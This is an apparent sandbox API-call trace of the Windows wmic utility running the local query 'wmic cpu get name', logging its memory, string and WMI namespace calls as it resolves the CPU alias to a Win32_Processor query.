IXMLDOMNode:get_nodeValue (in: This=0x21da280, value=0x1afa60 | out: value=0x1afa60*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="wmiclivalueformat.xsl", varVal2=0x4)) returned 0x0 [0147.812] malloc (_Size=0x18) returned 0x2cc800 [0147.812] malloc (_Size=0x18) returned 0x2cc820 [0147.813] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0147.813] SysStringLen (param_1="TABLE") returned 0x5 [0147.813] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0147.813] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0147.813] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0147.813] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0147.813] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0147.813] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0147.813] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0147.813] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0147.813] malloc (_Size=0x30) returned 0x2c8580 [0147.813] IUnknown:Release (This=0x21dbd50) returned 0x0 [0147.813] IUnknown:Release (This=0x21d78d0) returned 0x0 [0147.813] IUnknown:Release (This=0x21da280) returned 0x0 [0147.814] IXMLDOMNodeList:get_item (in: This=0x21d9cc0, index=20, listItem=0x1afa10 | out: listItem=0x1afa10*=0x21dbd50) returned 0x0 [0147.814] IXMLDOMNode:get_text (in: This=0x21dbd50, text=0x1afa20 | out: text=0x1afa20*="textvaluelist.xsl") returned 0x0 [0147.814] IXMLDOMNode:get_attributes (in: This=0x21dbd50, attributeMap=0x1afa18 | out: attributeMap=0x1afa18*=0x21d78d0) returned 0x0 [0147.814] malloc (_Size=0x18) returned 0x2cc840 [0147.814] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x21d78d0, name="KEYWORD", namedItem=0x1afa28 | out: namedItem=0x1afa28*=0x21da280) returned 0x0 [0147.814] free (_Block=0x2cc840) [0147.814] IXMLDOMNode:get_nodeValue (in: This=0x21da280, value=0x1afa60 | out: value=0x1afa60*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="wmiclivalueformat", varVal2=0x4)) returned 0x0 [0147.814] malloc (_Size=0x18) returned 0x2cc840 [0147.814] malloc (_Size=0x18) returned 0x2cc860 [0147.814] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0147.814] SysStringLen (param_1="TABLE") returned 0x5 [0147.814] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0147.815] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0147.815] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0147.815] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0147.815] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0147.815] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0147.815] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0147.815] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0147.815] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0147.815] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0147.816] malloc (_Size=0x30) returned 0x2c85c0 [0147.816] IUnknown:Release (This=0x21dbd50) returned 0x0 [0147.816] IUnknown:Release (This=0x21d78d0) returned 0x0 [0147.816] IUnknown:Release (This=0x21da280) returned 0x0 [0147.816] IUnknown:Release (This=0x21d9cc0) returned 0x0 [0147.816] FreeThreadedDOMDocument:IUnknown:Release (This=0x21dbc50) returned 0x1 [0147.816] FreeThreadedDOMDocument:IUnknown:Release (This=0x21d71d0) returned 0x0 [0147.816] free (_Block=0x2c6bf0) [0147.816] GetCommandLineW () returned="wmic cpu get name" [0147.817] malloc (_Size=0x30) returned 0x2c8600 [0147.817] memcpy_s (in: _Destination=0x2c8600, _DestinationSize=0x2e, _Source=0x3126d6, _SourceSize=0x22 | out: _Destination=0x2c8600) returned 0x0 [0147.817] malloc (_Size=0x18) returned 0x2cc880 [0147.817] malloc (_Size=0x18) returned 0x2cc8a0 [0147.817] malloc (_Size=0x18) returned 0x2cc8c0 [0147.817] malloc (_Size=0x18) returned 0x2cc8e0 [0147.817] malloc (_Size=0x80) returned 0x2c6bf0 [0147.818] GetLocalTime (in: lpSystemTime=0x1afbd0 | out: lpSystemTime=0x1afbd0*(wYear=0x7e8, wMonth=0x2, wDayOfWeek=0x2, wDay=0xd, wHour=0x16, wMinute=0x1, wSecond=0x2a, wMilliseconds=0x5)) [0147.818] _vsnwprintf (in: _Buffer=0x2c6bf0, _BufferCount=0x3f, _Format="%.2d-%.2d-%.4dT%.2d:%.2d:%.2d", _ArgList=0x1afb28 | out: _Buffer="02-13-2024T22:01:42") returned 19 [0147.818] lstrlenW (lpString=" cpu get name") returned 13 [0147.818] malloc (_Size=0x1c) returned 0x2c6cf0 [0147.818] lstrlenW (lpString=" cpu get name") returned 13 [0147.818] lstrlenW (lpString=" cpu get name") returned 13 [0147.818] malloc (_Size=0x1c) returned 0x2c6d20 [0147.818] lstrlenW (lpString=" cpu get name") returned 13 [0147.818] lstrlenW (lpString=" cpu get name") returned 13 [0147.818] lstrlenW (lpString=" cpu get name") returned 13 [0147.818] malloc (_Size=0x8) returned 0x2c6c80 [0147.818] lstrlenW (lpString="cpu") returned 3 [0147.818] _wcsicmp (_String1="cpu", _String2="\"NULL\"") returned 65 [0147.818] malloc (_Size=0x8) returned 0x2c6d50 [0147.818] malloc (_Size=0x8) returned 0x2c6d70 [0147.819] free (_Block=0x0) [0147.819] free (_Block=0x2c6c80) [0147.819] lstrlenW (lpString=" cpu get name") returned 13 [0147.819] malloc (_Size=0x8) returned 0x2c6c80 [0147.819] lstrlenW (lpString="get") returned 3 [0147.819] _wcsicmp (_String1="get", _String2="\"NULL\"") returned 69 [0147.819] malloc (_Size=0x8) returned 0x2c6d90 [0147.819] malloc (_Size=0x10) returned 0x2cc900 [0147.819] memmove_s (in: _Destination=0x2cc900, _DestinationSize=0x8, _Source=0x2c6d70, _SourceSize=0x8 | out: _Destination=0x2cc900) returned 0x0 [0147.819] free (_Block=0x2c6d70) [0147.819] free (_Block=0x0) [0147.819] free (_Block=0x2c6c80) [0147.819] lstrlenW (lpString=" cpu get name") returned 13 [0147.819] malloc (_Size=0xa) returned 0x2cc920 [0147.819] lstrlenW (lpString="name") returned 4 [0147.819] _wcsicmp (_String1="name", _String2="\"NULL\"") returned 76 [0147.820] malloc (_Size=0xa) returned 0x2cc940 [0147.820] malloc (_Size=0x18) returned 0x2cc960 [0147.820] memmove_s (in: _Destination=0x2cc960, _DestinationSize=0x10, _Source=0x2cc900, _SourceSize=0x10 | out: _Destination=0x2cc960) returned 0x0 [0147.820] free (_Block=0x2cc900) [0147.820] free (_Block=0x0) [0147.820] free (_Block=0x2cc920) [0147.820] malloc (_Size=0x18) returned 0x2cc920 [0147.820] lstrlenW (lpString="QUIT") returned 4 [0147.820] lstrlenW (lpString="cpu") returned 3 [0147.820] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="cpu", cchCount1=3, lpString2="QUIT", cchCount2=4) returned 1 [0147.820] lstrlenW (lpString="EXIT") returned 4 [0147.820] lstrlenW (lpString="cpu") returned 3 [0147.820] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="cpu", cchCount1=3, lpString2="EXIT", cchCount2=4) returned 1 [0147.821] free (_Block=0x2cc920) [0147.821] WbemLocator:IUnknown:AddRef (This=0x33cba0) returned 0x2 [0147.821] malloc (_Size=0x18) returned 0x2cc920 [0147.821] lstrlenW (lpString="/") returned 1 [0147.821] lstrlenW (lpString="cpu") returned 3 [0147.821] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="cpu", cchCount1=3, lpString2="/", cchCount2=1) returned 3 [0147.821] lstrlenW (lpString="-") returned 1 [0147.821] lstrlenW (lpString="cpu") returned 3 [0147.821] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="cpu", cchCount1=3, lpString2="-", cchCount2=1) returned 3 [0147.821] lstrlenW (lpString="CLASS") returned 5 [0147.821] lstrlenW (lpString="cpu") returned 3 [0147.822] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="cpu", cchCount1=3, lpString2="CLASS", cchCount2=5) returned 3 [0147.822] lstrlenW (lpString="PATH") returned 4 [0147.822] lstrlenW (lpString="cpu") returned 3 [0147.822] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="cpu", cchCount1=3, lpString2="PATH", cchCount2=4) returned 1 [0147.822] lstrlenW (lpString="CONTEXT") returned 7 [0147.822] lstrlenW (lpString="cpu") returned 3 [0147.822] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="cpu", cchCount1=3, lpString2="CONTEXT", cchCount2=7) returned 3 [0147.822] lstrlenW (lpString="cpu") returned 3 [0147.822] malloc (_Size=0x8) returned 0x2c6c80 [0147.822] lstrlenW (lpString="cpu") returned 3 [0147.822] GetCurrentThreadId () returned 0xfbc [0147.822] ??0CHString@@QEAA@XZ () returned 0x1af9e0 [0147.823] malloc (_Size=0x18) returned 0x2cc900 [0147.823] malloc (_Size=0x18) returned 0x2cc980 [0147.823] WbemLocator:IWbemLocator:ConnectServer (in: This=0x33cba0, strNetworkResource="root\\cli", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0xffa22998 | out: ppNamespace=0xffa22998*=0x3a64b0) returned 0x0 [0148.143] free (_Block=0x2cc980) [0148.143] free (_Block=0x2cc900) [0148.143] CoSetProxyBlanket (pProxy=0x3a64b0, dwAuthnSvc=0xffffffff, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x0) returned 0x0 [0148.144] ??1CHString@@QEAA@XZ () returned 0x7fef4dfc96c [0148.144] GetCurrentThreadId () returned 0xfbc [0148.144] ??0CHString@@QEAA@XZ () returned 0x1af878 [0148.144] malloc (_Size=0x18) returned 0x2cc900 [0148.145] malloc (_Size=0x18) returned 0x2cc980 [0148.145] malloc (_Size=0x18) returned 0x2cc9a0 [0148.145] malloc (_Size=0x18) returned 0x2cc9c0 [0148.145] SysStringLen (param_1="root\\cli") returned 0x8 [0148.145] SysStringLen (param_1="\\") returned 0x1 [0148.145] memcpy (in: _Dst=0x3b4d08, _Src=0x3b4ca8, _Size=0x12 | out: _Dst=0x3b4d08) returned 0x3b4d08 [0148.145] memcpy (in: _Dst=0x3b4d18, _Src=0x3b4c48, _Size=0x4 | out: _Dst=0x3b4d18) returned 0x3b4d18 [0148.145] malloc (_Size=0x18) returned 0x2cc9e0 [0148.145] SysStringLen (param_1="root\\cli\\") returned 0x9 [0148.146] SysStringLen (param_1="ms_409") returned 0x6 [0148.146] memcpy (in: _Dst=0x326708, _Src=0x3b4d08, _Size=0x14 | out: _Dst=0x326708) returned 0x326708 [0148.146] memcpy (in: _Dst=0x32671a, _Src=0x3b4c78, _Size=0xe | out: _Dst=0x32671a) returned 0x32671a [0148.146] free (_Block=0x2cc9c0) [0148.146] free (_Block=0x2cc9a0) [0148.146] free (_Block=0x2cc980) [0148.146] free (_Block=0x2cc900) [0148.146] malloc (_Size=0x18) returned 0x2cc900 [0148.146] WbemLocator:IWbemLocator:ConnectServer (in: This=0x33cba0, strNetworkResource="root\\cli\\ms_409", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0xffa229a0 | out: ppNamespace=0xffa229a0*=0x3a65d0) returned 0x0 [0148.174] free (_Block=0x2cc900) [0148.174] free (_Block=0x2cc9e0) [0148.175] ??1CHString@@QEAA@XZ () returned 0x7fef4dfc96c [0148.175] GetCurrentThreadId () returned 0xfbc [0148.175] ??0CHString@@QEAA@XZ () returned 0x1af9f0 [0148.175] malloc (_Size=0x18) returned 0x2cc9e0 [0148.175] malloc (_Size=0x18) returned 0x2cc900 [0148.175] malloc (_Size=0x18) returned 0x2cc980 [0148.175] lstrlenA (lpString="MSFT_CliAlias.FriendlyName='") returned 28 [0148.175] malloc (_Size=0x3a) returned 0x2ccb50 [0148.176] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr="MSFT_CliAlias.FriendlyName='", cbMultiByte=-1, lpWideCharStr=0x2ccb50, cchWideChar=29 | out: lpWideCharStr="MSFT_CliAlias.FriendlyName='") returned 29 [0148.176] free (_Block=0x2ccb50) [0148.176] malloc (_Size=0x18) returned 0x2cc9a0 [0148.176] SysStringLen (param_1="MSFT_CliAlias.FriendlyName='") returned 0x1c [0148.176] SysStringLen (param_1="cpu") returned 0x3 [0148.176] memcpy (in: _Dst=0x376e38, _Src=0x344208, _Size=0x3a | out: _Dst=0x376e38) returned 0x376e38 [0148.176] memcpy (in: _Dst=0x376e70, _Src=0x3b4ca8, _Size=0x8 | out: _Dst=0x376e70) returned 0x376e70 [0148.177] malloc (_Size=0x18) returned 0x2cc9c0 [0148.177] SysStringLen (param_1="MSFT_CliAlias.FriendlyName='cpu") returned 0x1f [0148.177] SysStringLen (param_1="'") returned 0x1 [0148.177] memcpy (in: _Dst=0x376dc8, _Src=0x376e38, _Size=0x40 | out: _Dst=0x376dc8) returned 0x376dc8 [0148.177] memcpy (in: _Dst=0x376e06, _Src=0x3b4d08, _Size=0x4 | out: _Dst=0x376e06) returned 0x376e06 [0148.177] free (_Block=0x2cc9a0) [0148.177] free (_Block=0x2cc980) [0148.177] free (_Block=0x2cc900) [0148.177] free (_Block=0x2cc9e0) [0148.178] IWbemServices:GetObject (in: This=0x3a64b0, strObjectPath="MSFT_CliAlias.FriendlyName='cpu'", lFlags=0, pCtx=0x0, ppObject=0x1af9f8*=0x0, ppCallResult=0x0 | out: ppObject=0x1af9f8*=0x398260, ppCallResult=0x0) returned 0x0 [0148.220] malloc (_Size=0x18) returned 0x2cc9e0 [0148.220] IWbemClassObject:Get (in: This=0x398260, wszName="Target", lFlags=0, pVal=0x1af920*(varType=0x0, wReserved1=0xffa2, wReserved2=0x0, wReserved3=0x0, varVal1=0xffa22998, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x1af920*(varType=0x8, wReserved1=0xffa2, wReserved2=0x0, wReserved3=0x0, varVal1="Select * from WIN32_PROCESSOR", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0148.221] free (_Block=0x2cc9e0) [0148.223] lstrlenW (lpString="Select * from WIN32_PROCESSOR") returned 29 [0148.223] malloc (_Size=0x3c) returned 0x2ccb50 [0148.223] lstrlenW (lpString="Select * from WIN32_PROCESSOR") returned 29 [0148.223] malloc (_Size=0x18) returned 0x2cc9e0 [0148.223] IWbemClassObject:Get (in: This=0x398260, wszName="PWhere", lFlags=0, pVal=0x1af920*(varType=0x0, wReserved1=0xffa2, wReserved2=0x0, wReserved3=0x0, varVal1=0x344208, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x1af920*(varType=0x8, wReserved1=0xffa2, wReserved2=0x0, wReserved3=0x0, varVal1="Where DeviceID='#'", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0148.224] free (_Block=0x2cc9e0) [0148.224] lstrlenW (lpString="Where DeviceID='#'") returned 18 [0148.224] malloc (_Size=0x26) returned 0x2c6db0 [0148.224] lstrlenW (lpString="Where DeviceID='#'") returned 18 [0148.224] malloc (_Size=0x18) returned 0x2cc9e0 [0148.224] IWbemClassObject:Get (in: This=0x398260, wszName="Connection", lFlags=0, pVal=0x1af920*(varType=0x0, wReserved1=0xffa2, wReserved2=0x0, wReserved3=0x0, varVal1=0x38c378, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x1af920*(varType=0xd, wReserved1=0xffa2, wReserved2=0x0, wReserved3=0x0, varVal1=0x398740, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0148.225] free (_Block=0x2cc9e0) [0148.225] IUnknown:QueryInterface (in: This=0x398740, riid=0xff9b7360*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1af910 | out: ppvObject=0x1af910*=0x398740) returned 0x0 [0148.225] GetCurrentThreadId () returned 0xfbc [0148.225] ??0CHString@@QEAA@XZ () returned 0x1af838 [0148.225] malloc (_Size=0x18) returned 0x2cc9e0 [0148.225] IWbemClassObject:Get (in: This=0x398740, wszName="Namespace", lFlags=0, pVal=0x1af860*(varType=0x0, wReserved1=0xffa2, wReserved2=0x0, wReserved3=0x0, varVal1=0xff9c738f, varVal2=0x2cc9e0), pType=0x0, plFlavor=0x0 | out: pVal=0x1af860*(varType=0x8, wReserved1=0xffa2, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x2cc9e0), pType=0x0, plFlavor=0x0) returned 0x0 [0148.225] free (_Block=0x2cc9e0) [0148.225] lstrlenW (lpString="ROOT\\CIMV2") returned 10 [0148.225] malloc (_Size=0x16) returned 0x2cc9e0 [0148.226] lstrlenW (lpString="ROOT\\CIMV2") returned 10 [0148.226] malloc (_Size=0x18) returned 0x2cc900 [0148.226] IWbemClassObject:Get (in: This=0x398740, wszName="Locale", lFlags=0, pVal=0x1af860*(varType=0x0, wReserved1=0xffa2, wReserved2=0x0, wReserved3=0x0, varVal1=0x3b4c48, varVal2=0x2cc9e0), pType=0x0, plFlavor=0x0 | out: pVal=0x1af860*(varType=0x8, wReserved1=0xffa2, wReserved2=0x0, wReserved3=0x0, varVal1="ms_409", varVal2=0x2cc9e0), pType=0x0, plFlavor=0x0) returned 0x0 [0148.226] free (_Block=0x2cc900) [0148.226] lstrlenW (lpString="ms_409") returned 6 [0148.226] malloc (_Size=0xe) returned 0x2cc900 [0148.226] lstrlenW (lpString="ms_409") returned 6 [0148.226] malloc (_Size=0x18) returned 0x2cc980 [0148.227] IWbemClassObject:Get (in: This=0x398740, wszName="User", lFlags=0, pVal=0x1af860*(varType=0x0, wReserved1=0xffa2, wReserved2=0x0, wReserved3=0x0, varVal1=0x3b4c48, varVal2=0x2cc9e0), pType=0x0, plFlavor=0x0 | out: pVal=0x1af860*(varType=0x1, wReserved1=0xffa2, wReserved2=0x0, wReserved3=0x0, varVal1=0x3b4c48, varVal2=0x2cc9e0), pType=0x0, plFlavor=0x0) returned 0x0 [0148.227] free (_Block=0x2cc980) [0148.227] malloc (_Size=0x18) returned 0x2cc980 [0148.227] IWbemClassObject:Get (in: This=0x398740, wszName="Password", lFlags=0, pVal=0x1af860*(varType=0x1, wReserved1=0xffa2, wReserved2=0x0, wReserved3=0x0, varVal1=0x3b4c48, varVal2=0x2cc9e0), pType=0x0, plFlavor=0x0 | out: pVal=0x1af860*(varType=0x1, wReserved1=0xffa2, wReserved2=0x0, wReserved3=0x0, varVal1=0x3b4c48, varVal2=0x2cc9e0), pType=0x0, plFlavor=0x0) returned 0x0 [0148.227] free (_Block=0x2cc980) [0148.227] malloc (_Size=0x18) returned 0x2cc980 [0148.227] IWbemClassObject:Get (in: This=0x398740, wszName="Server", lFlags=0, pVal=0x1af860*(varType=0x1, wReserved1=0xffa2, wReserved2=0x0, wReserved3=0x0, varVal1=0x3b4c48, varVal2=0x2cc9e0), pType=0x0, plFlavor=0x0 | out: pVal=0x1af860*(varType=0x8, wReserved1=0xffa2, wReserved2=0x0, wReserved3=0x0, varVal1=".", varVal2=0x2cc9e0), pType=0x0, plFlavor=0x0) returned 0x0 [0148.227] free (_Block=0x2cc980) [0148.227] lstrlenW (lpString=".") returned 1 [0148.228] malloc (_Size=0x4) returned 0x2c6d70 [0148.228] lstrlenW (lpString=".") returned 1 [0148.228] malloc (_Size=0x18) returned 0x2cc980 [0148.228] IWbemClassObject:Get (in: This=0x398740, wszName="Authority", lFlags=0, pVal=0x1af860*(varType=0x0, wReserved1=0xffa2, wReserved2=0x0, wReserved3=0x0, varVal1=0x3b4c48, varVal2=0x2cc9e0), pType=0x0, plFlavor=0x0 | out: pVal=0x1af860*(varType=0x1, wReserved1=0xffa2, wReserved2=0x0, wReserved3=0x0, varVal1=0x3b4c48, varVal2=0x2cc9e0), pType=0x0, plFlavor=0x0) returned 0x0 [0148.228] free (_Block=0x2cc980) [0148.228] ??1CHString@@QEAA@XZ () returned 0x7fef4dfc96c [0148.228] IUnknown:Release (This=0x398740) returned 0x1 [0148.228] GetCurrentThreadId () returned 0xfbc [0148.229] ??0CHString@@QEAA@XZ () returned 0x1af838 [0148.229] malloc (_Size=0x18) returned 0x2cc980 [0148.229] IWbemClassObject:Get (in: This=0x398260, wszName="__RELPATH", lFlags=0, pVal=0x1af860*(varType=0x0, wReserved1=0xffa2, wReserved2=0x0, wReserved3=0x0, varVal1=0x3b4c48, varVal2=0xd), pType=0x0, plFlavor=0x0 | out: pVal=0x1af860*(varType=0x8, wReserved1=0xffa2, wReserved2=0x0, wReserved3=0x0, varVal1="MSFT_CliAlias.FriendlyName=\"CPU\"", varVal2=0xd), pType=0x0, plFlavor=0x0) returned 0x0 [0148.232] free (_Block=0x2cc980) [0148.232] malloc (_Size=0x18) returned 0x2cc980 [0148.232] GetCurrentThreadId () returned 0xfbc [0148.233] ??0CHString@@QEAA@XZ () returned 0x1af6b8 [0148.233] ??0CHString@@QEAA@PEBG@Z () returned 0x1af6d0 [0148.233] ??0CHString@@QEAA@AEBV0@@Z () returned 0x1af660 [0148.233] ?Empty@CHString@@QEAAXXZ () returned 0x7fef4dfc96c [0148.233] ?GetData@CHString@@IEBAPEAUCHStringData@@XZ () returned 0x2ccba0 [0148.233] ?Find@CHString@@QEBAHPEBG@Z () returned 0x1b [0148.234] ?Left@CHString@@QEBA?AV1@H@Z () returned 0x1af620 [0148.234] ??H@YA?AVCHString@@AEBV0@PEBG@Z () returned 0x1af668 [0148.234] ??YCHString@@QEAAAEBV0@AEBV0@@Z () returned 0x1af6d0 [0148.234] ??1CHString@@QEAA@XZ () returned 0x73132b01 [0148.234] ??1CHString@@QEAA@XZ () returned 0x73132b01 [0148.234] ?Mid@CHString@@QEBA?AV1@H@Z () returned 0x1af628 [0148.234] ??4CHString@@QEAAAEBV0@AEBV0@@Z () returned 0x1af660 [0148.234] ??1CHString@@QEAA@XZ () returned 0x1 [0148.234] ?GetData@CHString@@IEBAPEAUCHStringData@@XZ () returned 0x2cc9a0 [0148.234] ?Find@CHString@@QEBAHPEBG@Z () returned 0x3 [0148.234] ?Left@CHString@@QEBA?AV1@H@Z () returned 0x1af620 [0148.234] ??H@YA?AVCHString@@AEBV0@PEBG@Z () returned 0x1af668 [0148.234] ??YCHString@@QEAAAEBV0@AEBV0@@Z () returned 0x1af6d0 [0148.234] ??1CHString@@QEAA@XZ () returned 0x6e0096006e0001 [0148.234] ??1CHString@@QEAA@XZ () returned 0x6e0097006c0001 [0148.235] ?Mid@CHString@@QEBA?AV1@H@Z () returned 0x1af628 [0148.235] ??4CHString@@QEAAAEBV0@AEBV0@@Z () returned 0x1af660 [0148.235] ??1CHString@@QEAA@XZ () returned 0x7fef4dfc96c [0148.235] ?GetData@CHString@@IEBAPEAUCHStringData@@XZ () returned 0x7fef4dfc960 [0148.235] ??1CHString@@QEAA@XZ () returned 0x7fef4dfc96c [0148.235] malloc (_Size=0x18) returned 0x2cc9a0 [0148.235] malloc (_Size=0x18) returned 0x2cca00 [0148.235] malloc (_Size=0x18) returned 0x2cca20 [0148.235] malloc (_Size=0x18) returned 0x2cca40 [0148.235] malloc (_Size=0x18) returned 0x2cca60 [0148.236] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=") returned 0x3c [0148.236] SysStringLen (param_1="\"Description\",RelPath=\"") returned 0x17 [0148.236] memcpy (in: _Dst=0x3af698, _Src=0x3b0678, _Size=0x7a | out: _Dst=0x3af698) returned 0x3af698 [0148.236] memcpy (in: _Dst=0x3af710, _Src=0x326708, _Size=0x30 | out: _Dst=0x3af710) returned 0x3af710 [0148.236] malloc (_Size=0x18) returned 0x2cca80 [0148.236] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"") returned 0x53 [0148.236] SysStringLen (param_1="MSFT_CliAlias.FriendlyName=\\\"CPU\\\"") returned 0x22 [0148.236] memcpy (in: _Dst=0x398518, _Src=0x3af698, _Size=0xa8 | out: _Dst=0x398518) returned 0x398518 [0148.237] memcpy (in: _Dst=0x3985be, _Src=0x344888, _Size=0x46 | out: _Dst=0x3985be) returned 0x3985be [0148.237] malloc (_Size=0x18) returned 0x2ccaa0 [0148.237] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"MSFT_CliAlias.FriendlyName=\\\"CPU\\\"") returned 0x75 [0148.237] SysStringLen (param_1="\"") returned 0x1 [0148.237] memcpy (in: _Dst=0x398628, _Src=0x398518, _Size=0xec | out: _Dst=0x398628) returned 0x398628 [0148.237] memcpy (in: _Dst=0x398712, _Src=0x3b4c48, _Size=0x4 | out: _Dst=0x398712) returned 0x398712 [0148.237] free (_Block=0x2cca80) [0148.238] free (_Block=0x2cca60) [0148.238] free (_Block=0x2cca40) [0148.238] free (_Block=0x2cca20) [0148.238] free (_Block=0x2cca00) [0148.238] free (_Block=0x2cc9a0) [0148.238] IWbemServices:GetObject (in: This=0x3a65d0, strObjectPath="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"MSFT_CliAlias.FriendlyName=\\\"CPU\\\"\"", lFlags=0, pCtx=0x0, ppObject=0x1af6a8*=0x0, ppCallResult=0x0 | out: ppObject=0x1af6a8*=0x3989e0, ppCallResult=0x0) returned 0x0 [0148.245] malloc (_Size=0x18) returned 0x2cc9a0 [0148.245] IWbemClassObject:Get (in: This=0x3989e0, wszName="Text", lFlags=0, pVal=0x1af6e0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xffa22ac0, varVal2=0x18), pType=0x0, plFlavor=0x0 | out: pVal=0x1af6e0*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3b91f0*(cDims=0x1, fFeatures=0x180, cbElements=0x8, cLocks=0x0, pvData=0x33e120, rgsabound=((cElements=0x1, lLbound=0))), varVal2=0x18), pType=0x0, plFlavor=0x0) returned 0x0 [0148.246] free (_Block=0x2cc9a0) [0148.246] SafeArrayGetLBound (in: psa=0x3b91f0, nDim=0x1, plLbound=0x1af6c0 | out: plLbound=0x1af6c0) returned 0x0 [0148.246] SafeArrayGetUBound (in: psa=0x3b91f0, nDim=0x1, plUbound=0x1af6b0 | out: plUbound=0x1af6b0) returned 0x0 [0148.246] SafeArrayGetElement (in: psa=0x3b91f0, rgIndices=0x1af6a4, pv=0x1af6f8 | out: pv=0x1af6f8) returned 0x0 [0148.246] malloc (_Size=0x18) returned 0x2cc9a0 [0148.246] malloc (_Size=0x18) returned 0x2cca00 [0148.246] SysStringLen (param_1="CPU management.") returned 0xf [0148.246] memcpy (in: _Dst=0x3b9368, _Src=0x3b9328, _Size=0x20 | out: _Dst=0x3b9368) returned 0x3b9368 [0148.247] free (_Block=0x2cc9a0) [0148.247] IUnknown:Release (This=0x3989e0) returned 0x0 [0148.247] free (_Block=0x2ccaa0) [0148.247] ??1CHString@@QEAA@XZ () returned 0x73132b01 [0148.247] ??1CHString@@QEAA@XZ () returned 0x7fef4dfc96c [0148.247] free (_Block=0x2cc980) [0148.247] ??1CHString@@QEAA@XZ () returned 0x7fef4dfc96c [0148.247] lstrlenW (lpString="CPU management.") returned 15 [0148.248] malloc (_Size=0x20) returned 0x2ccba0 [0148.248] lstrlenW (lpString="CPU management.") returned 15 [0148.248] free (_Block=0x2cca00) [0148.248] IUnknown:Release (This=0x398260) returned 0x0 [0148.248] free (_Block=0x2cc9c0) [0148.248] ??1CHString@@QEAA@XZ () returned 0x7fef4dfc96c [0148.248] lstrlenW (lpString="PATH") returned 4 [0148.248] lstrlenW (lpString="get") returned 3 [0148.248] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="get", cchCount1=3, lpString2="PATH", cchCount2=4) returned 1 [0148.248] lstrlenW (lpString="WHERE") returned 5 [0148.248] lstrlenW (lpString="get") returned 3 [0148.248] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="get", cchCount1=3, lpString2="WHERE", cchCount2=5) returned 1 [0148.249] lstrlenW (lpString="(") returned 1 [0148.249] lstrlenW (lpString="get") returned 3 [0148.249] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="get", cchCount1=3, lpString2="(", cchCount2=1) returned 3 [0148.249] lstrlenW (lpString="/") returned 1 [0148.249] lstrlenW (lpString="get") returned 3 [0148.249] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="get", cchCount1=3, lpString2="/", cchCount2=1) returned 3 [0148.249] lstrlenW (lpString="-") returned 1 [0148.249] lstrlenW (lpString="get") returned 3 [0148.249] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="get", cchCount1=3, lpString2="-", cchCount2=1) returned 3 [0148.249] malloc (_Size=0x18) returned 0x2cc9c0 [0148.250] lstrlenW (lpString="GET") returned 3 [0148.250] lstrlenW (lpString="get") returned 3 [0148.250] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="get", cchCount1=3, lpString2="GET", cchCount2=3) returned 2 [0148.250] free (_Block=0x2cc9c0) 